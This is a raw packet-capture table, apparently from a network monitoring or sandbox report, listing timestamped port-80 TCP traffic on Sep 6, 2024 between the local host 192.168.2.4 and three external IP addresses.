Sep 6, 2024 08:17:06.715723038 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.715728998 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.715740919 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.715759993 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.715766907 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.715781927 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.715807915 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.715818882 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.715830088 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.715842962 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.715857029 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.715868950 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.715898037 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.719072104 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.719130993 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.719141960 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.719151020 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.719170094 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.719176054 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.719192982 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.719203949 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.719214916 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.719232082 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.719249010 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.719273090 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.728208065 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.728255987 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.728255987 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.728266954 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.728293896 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.728308916 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.728323936 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.728334904 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.728346109 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.728357077 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.728373051 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.728399992 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.728730917 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.728776932 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.728785992 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.728796005 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.728812933 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.728823900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.728835106 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.728847980 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.728862047 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.728880882 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.728890896 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.728900909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.728930950 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.728952885 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729073048 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729140043 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729163885 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729172945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729182959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729195118 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729204893 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729207039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729218006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729219913 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729233980 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729242086 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729243994 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729254961 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729269981 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729270935 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729288101 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729291916 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.729310036 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.729335070 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.729398966 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729409933 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729420900 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729430914 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729435921 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.729443073 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729454041 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729454994 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.729465008 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729473114 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.729475975 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729486942 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729502916 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.729528904 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.729554892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729566097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729576111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729585886 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729585886 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729600906 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729617119 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729665995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729676962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729687929 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729698896 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729711056 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729712009 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729720116 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.729734898 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.729762077 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.729779959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729790926 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729799986 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729811907 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729823112 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729824066 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729840994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729842901 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729854107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729861021 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729865074 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.729885101 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.729907990 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.730036020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730077982 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730088949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730098963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730107069 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.730129004 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.730154991 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730179071 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730189085 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730199099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730211020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730221033 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730221987 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730237961 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.730249882 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730257034 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.730262995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730273962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730285883 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730295897 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730299950 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730300903 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.730319023 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730345011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730345964 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730359077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730370045 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730384111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730386019 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.730407000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730415106 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.730417967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730443954 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.730463982 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730463982 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730551004 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730561972 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730572939 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730585098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.730596066 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730596066 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.730607033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730616093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730621099 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.730633020 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730643988 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730652094 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730654955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730668068 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730674982 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730680943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730690956 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730705976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730716944 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730719090 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730729103 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730739117 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730747938 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730751038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730762959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730772972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730776072 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730784893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730793953 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730808020 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730837107 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730875015 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730917931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730925083 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730931044 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.730962038 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.730974913 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731004000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731014967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731024027 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731035948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731050968 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731054068 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731066942 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731076956 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731079102 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731091022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731096029 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731106997 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731120110 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731146097 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731190920 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731201887 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731221914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731230974 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731232882 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731245995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731256962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731257915 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731268883 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731292009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731293917 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731303930 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731333017 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731368065 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731384993 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731395960 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731405973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731419086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731431007 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731431961 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731441975 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731455088 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731458902 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731477022 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.731501102 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.731503010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731520891 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731532097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731543064 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731554031 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731558084 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.731565952 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731575966 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.731575966 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731604099 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.731630087 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.731653929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731663942 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731674910 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731686115 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731698036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731702089 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731703043 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.731709957 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731717110 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731739998 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731754065 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.731784105 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731794119 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731803894 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731822014 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731832981 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.731833935 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731843948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731856108 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731863976 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.731865883 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731868029 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731878042 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.731883049 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731889009 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731899977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731904984 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731910944 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731916904 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.731924057 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.731944084 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.731966972 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.732089043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732100010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732115984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732126951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732131958 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.732136011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732148886 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732151985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.732160091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732171059 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732177973 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.732183933 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732194901 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732203007 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732207060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732218027 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732229948 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732251883 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732256889 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732264996 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732275963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732287884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732294083 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732307911 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732326984 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732338905 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732351065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732359886 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732371092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732377052 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732381105 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732393026 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732402086 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.732404947 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732429028 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.732444048 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.732471943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732487917 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732527971 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732604980 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732616901 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732625961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732636929 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732647896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732660055 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732666969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732678890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732680082 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732692003 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732702971 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732707024 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732719898 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732743979 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732749939 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732753992 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.732764959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732777119 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732784986 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.732785940 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732796907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732806921 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732810020 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732820988 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.732831955 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.732856035 CEST	49734	80	192.168.2.4	176.113.115.33
